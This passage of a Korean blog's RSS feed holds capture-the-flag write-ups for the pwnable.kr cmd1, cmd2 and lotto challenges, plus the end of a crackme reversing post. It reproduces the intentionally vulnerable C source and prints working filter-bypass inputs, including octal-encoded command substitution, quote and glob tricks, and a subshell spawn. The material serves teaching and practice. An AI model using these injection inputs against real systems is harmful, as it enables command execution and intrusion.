	MessageBoxA(NULL, &quot;Ok, I really think that your HD is a CD-ROM! :p&quot;, &quot;YEAH!&quot;, MB_OK|MB_APPLMODAL)
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;어셈블리를 보고 작성한 의사코드입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;특이상황이 아니라면 GetDriveTypeA는3을 반환할 것이고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;DEC&lt;/b&gt; 명령어를 두번 수행했으니 EAX 값은 1이 되겠군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;ESI는 초기 0에서 INC 명령어를 세번 수행했으니 3입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 조건식을 만족하지 못하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;에러메시지만 출력한 채로 종료합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 751px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998A963A5C614D672F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998A963A5C614D672F&quot; width=&quot;751&quot; height=&quot;272&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;저는 CMP 의 인자를 수정해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;참이 나오도록 하여 문제를 해결했는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이를 수정하는 방법은 참 많습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;쓸모없는 &lt;b&gt;0x40101F&lt;/b&gt; 의 코드를 수정하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;EAX의 값을 바꾸어도 좋고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x401026&lt;/b&gt; 을 &lt;b&gt;JMP&lt;/b&gt;로 수정하여 무조건으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;성공메시지를 보일 수도 있을 것입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하지만, 최선의 방법은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;최소한의 수정으로 프로그램 내부 루틴에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;영향을&amp;nbsp;줄이는 것이겠지요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 362px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991C55455C614E7225&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991C55455C614E7225&quot; width=&quot;362&quot; height=&quot;197&quot; filename=&quot;6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Reversing</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/77</guid>
      <comments>https://posix.tistory.com/77#entry77comment</comments>
      <pubDate>Mon, 11 Feb 2019 20:20:54 +0900</pubDate>
    </item>
    <item>
      <title>Cmd2 문제풀이</title>
      <link>https://posix.tistory.com/76</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 15번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;직전 cmd1 문제의 발전형입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, &quot;=&quot;)!=0;
        r += strstr(cmd, &quot;PATH&quot;)!=0;
        r += strstr(cmd, &quot;export&quot;)!=0;
        r += strstr(cmd, &quot;/&quot;)!=0;
        r += strstr(cmd, &quot;`&quot;)!=0;
        r += strstr(cmd, &quot;flag&quot;)!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv(&quot;PATH=/no_command_execution_until_you_become_a_hacker&quot;);
        if(filter(argv[1])) return 0;
        printf(&quot;%s\n&quot;, argv[1]);
        system( argv[1] );
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;cmd1의 코드와 유사하지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;PATH&lt;/b&gt; 이외의 모든 환경변수를 제거되며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;필터링 어구들이 몇 추가 되었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;cmd2@ubuntu:~$ ./cmd2 &quot;expor''t&quot;
expor''t
export PATH='/no_command_execution_until_you_become_a_hacker'
export PWD='/home/cmd2'&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 환경변수를 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;자동으로 생성되는&lt;b&gt; PWD&lt;/b&gt;와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;PATH&lt;/b&gt; 둘 뿐인 것을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;−p    Perform the command search using a default value for PATH
      that is guaranteed to find all of the standard utilities.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 문제의 해결법 중 하나로는 본쉘의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;빌트인 커맨드 &lt;a href=&quot;http://man7.org/linux/man-pages/man1/command.1p.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;command&lt;/a&gt; 를 들 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령어를 실행하는 명령&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;command는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;-p&lt;/b&gt; 옵션을 사용하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;환경변수를 기본 정보로&amp;nbsp;초기화 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;command -p cat fl*
command -p cat fl''ag
&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 &lt;b&gt;flag&lt;/b&gt; 필터링을 우회한&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위 방법으로&amp;nbsp;간단하게 해결할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;&amp;gt;&amp;gt;&amp;gt; s='/bin/cat flag'
&amp;gt;&amp;gt;&amp;gt; print( ''.join( '\\' + str(oct(ord(c))) for c in s ) )
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147

cmd2@ubuntu:~$ ./cmd2 '$(echo &quot;\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147&quot;)'&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이외에도&amp;nbsp;&lt;b&gt;$( )&lt;/b&gt; 문법으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;8진수로 인코딩된 텍스트를 변환해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령어를 실행시킬 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;cmd2@ubuntu:~$ ./cmd2 '$(echo &quot;\057&quot;)bin$(echo &quot;\057&quot;)bash'
$(echo &quot;\057&quot;)bin$(echo &quot;\057&quot;)bash
bash-4.3$&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;같은 방법으로 &lt;b&gt;서브쉘&lt;/b&gt;에 접근하는 것 또한 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;read a; $a&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령행 인자가 아닌 &lt;b&gt;STDIN&lt;/b&gt;을 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령어를 입력받아 실행시키는 방법도 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;set -s&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;같은 방법으로 &lt;b&gt;set -s&lt;/b&gt; 명령어가 존재하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본쉘의 빌트인 명령어인 set은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;-s 옵션을 사용하여 &lt;b&gt;STDIN&lt;/b&gt;에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력을 받아 명령어를 실행할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Bash&lt;/b&gt;에서는 해당 옵션이 존재하지 않으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;오직 &lt;b&gt;Sh&lt;/b&gt;에서만 사용가능한 방법입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참조문서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://mandu-mandu.tistory.com/84&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://mandu-mandu.tistory.com/84&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://koyo.kr/post/pwnable-kr-cmd2/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://koyo.kr/post/pwnable-kr-cmd2/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://xerxes-break.tistory.com/321&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://xerxes-break.tistory.com/321&lt;/a&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/76</guid>
      <comments>https://posix.tistory.com/76#entry76comment</comments>
      <pubDate>Mon, 11 Feb 2019 16:25:14 +0900</pubDate>
    </item>
    <item>
      <title>Cmd1 문제풀이</title>
      <link>https://posix.tistory.com/75</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 14번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://mwultong.blogspot.com/2006/03/path.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;PATH&lt;/a&gt; 환경변수에 관한&amp;nbsp;문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, &quot;flag&quot;)!=0;
        r += strstr(cmd, &quot;sh&quot;)!=0;
        r += strstr(cmd, &quot;tmp&quot;)!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv(&quot;PATH=/thankyouverymuch&quot;);
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;main 함수의&amp;nbsp;&lt;b&gt;argc&lt;/b&gt;, &lt;b&gt;argv&lt;/b&gt;는 익숙하지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;envp&lt;/b&gt; 변수는 낯선 분들이 계실겁니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;envp 변수는 실행 환경변수를 전달하는 인자로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;프로그램 내에서 환경변수 데이터를 확인할 수 있도록 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;putenv&lt;/b&gt; 함수를 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;PATH 환경변수의 내용을 변경하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;filter 함수를 사용해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;flag, sh, tmp&lt;/b&gt;&amp;nbsp;세 단어를 필터링 하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 PATH는, 리눅스 및 기타 유닉스 시스템에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사용하는 환경변수인데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쉘을 사용하여 프로그램을 실행할 때에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바이너리가 존재하는 경로를 PATH에 등록해 두면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;절대경로&lt;/b&gt;를 모두 입력하거나&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;해당 폴더에 있지 않아도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바이너리 파일명만을 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;간편하게 호출할 수 있도록 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;덕분에 평소 리눅스에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Bash&lt;/b&gt; 등을 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;/bin&lt;/b&gt; 폴더에 존재하는 &lt;b&gt;cat, ls 등&lt;/b&gt;의 명령어들을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;절대경로를 이용하지 않고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;마치 빌트인 함수인것 마냥&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;간편하게 사용할 수 있는 것이지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;cmd1@ubuntu:~$ ./cmd1 &quot;cat&quot;
sh: 1: cat: not found&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 PATH를 변경해버린&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;cmd1&lt;/b&gt;에서는 &lt;b&gt;/bin&lt;/b&gt; 폴더 내에 속한&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;cat 등의 바이너리를 자동으로 탐색해 주지 않으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파일명 만으로 호출이 불가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;cmd1@ubuntu:~$ ./cmd1 &quot;/bin/cat flag&quot;
cmd1@ubuntu:~$&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 절대경로를 이용해 프로그램을 호출해&amp;nbsp;주면 되는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;filter&lt;/b&gt; 함수를 통해, 인자에&amp;nbsp;flag가 속한 경우&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;프로그램이 종료되어 버리므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 얻을 수 없습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;cmd1@ubuntu:~$ ./cmd1 &quot;/bin/cat fl''ag&quot;
cmd1@ubuntu:~$ ./cmd1 &quot;/bin/cat fla*g&quot;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;애스터리스크&lt;/b&gt;를 사용해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문자열 일부를 생략시키거나&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;중간에 &lt;b&gt;더블 콜론&lt;/b&gt; 등을 끼워넣는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;우회할 수 있었습니다.&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/75</guid>
      <comments>https://posix.tistory.com/75#entry75comment</comments>
      <pubDate>Sun, 10 Feb 2019 10:16:29 +0900</pubDate>
    </item>
    <item>
      <title>Lotto 문제풀이</title>
      <link>https://posix.tistory.com/74</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Mommy! I made a lotto program for my homework.
do you want to play?


ssh lotto@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 13번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;로또 프로그램에 관한 문제로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ssh 계정이 주어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

unsigned char submit[6];

void play(){

        int i;
        printf(&quot;Submit your 6 lotto bytes : &quot;);
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf(&quot;Lotto Start!\n&quot;);
        //sleep(1);

        // generate lotto numbers
        int fd = open(&quot;/dev/urandom&quot;, O_RDONLY);
        if(fd==-1){
                printf(&quot;error. tell admin\n&quot;);
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf(&quot;error2. tell admin\n&quot;);
                exit(-1);
        }
        for(i=0; i&amp;lt;6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i&amp;lt;6; i++){
                for(j=0; j&amp;lt;6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system(&quot;/bin/cat flag&quot;);
        }
        else{
                printf(&quot;bad luck...\n&quot;);
        }

}

void help(){
        printf(&quot;- nLotto Rule -\n&quot;);
        printf(&quot;nlotto is consisted with 6 random natural numbers less than 46\n&quot;);
        printf(&quot;your goal is to match lotto numbers as many as you can\n&quot;);
        printf(&quot;if you win lottery for *1st place*, you will get reward\n&quot;);
        printf(&quot;for more details, follow the link below\n&quot;);
        printf(&quot;http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n&quot;);
        printf(&quot;mathematical chance to win this game is known to be 1/8145060.\n&quot;);
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf(&quot;- Select Menu -\n&quot;);
                printf(&quot;1. Play Lotto\n&quot;);
                printf(&quot;2. Help\n&quot;);
                printf(&quot;3. Exit\n&quot;);

                scanf(&quot;%d&quot;, &amp;amp;menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf(&quot;bye\n&quot;);
                                return 0;
                        default:
                                printf(&quot;invalid menu\n&quot;);
                                break;
                }
        }
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스코드를 열람할 수 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;6자리의 로또 프로그램으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;랜덤으로 생성된 데이터와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사용자가 입력한 데이터가 일치하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그가 출력됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;// generate lotto numbers
int fd = open(&quot;/dev/urandom&quot;, O_RDONLY);
if(fd==-1){
		printf(&quot;error. tell admin\n&quot;);
		exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
		printf(&quot;error2. tell admin\n&quot;);
		exit(-1);
}
for(i=0; i&amp;lt;6; i++){
		lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i&amp;lt;6; i++){
		for(j=0; j&amp;lt;6; j++){
				if(lotto[i] == submit[j]){
						match++;
				}
		}
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;리눅스에서 &lt;b&gt;의사난수&lt;/b&gt;를 생성하는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;특수파일&amp;nbsp;&lt;a href=&quot;https://en.wikipedia.org/wiki//dev/random&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;/dev/urandom&lt;/a&gt;을 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;1 ~ 45 범위의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;6바이트를 구성하도록 되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본래의 로또라면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사용자 입력을 받은 후&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그 둘을 대조해 전체가 동일하면&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 출력하는것이 옳겠지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;코딩 오류로 인해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;단 하나만 동일하면&amp;nbsp; &lt;b&gt;2중 for 문&lt;/b&gt; 안에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;match&lt;/b&gt; 값이 6이 되어&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 출력합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 1 ~ 45 범위의 아스키코드를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;가지는 반복 문자열을 계속해서 등록하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;높은 확률로 플래그가 출력됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
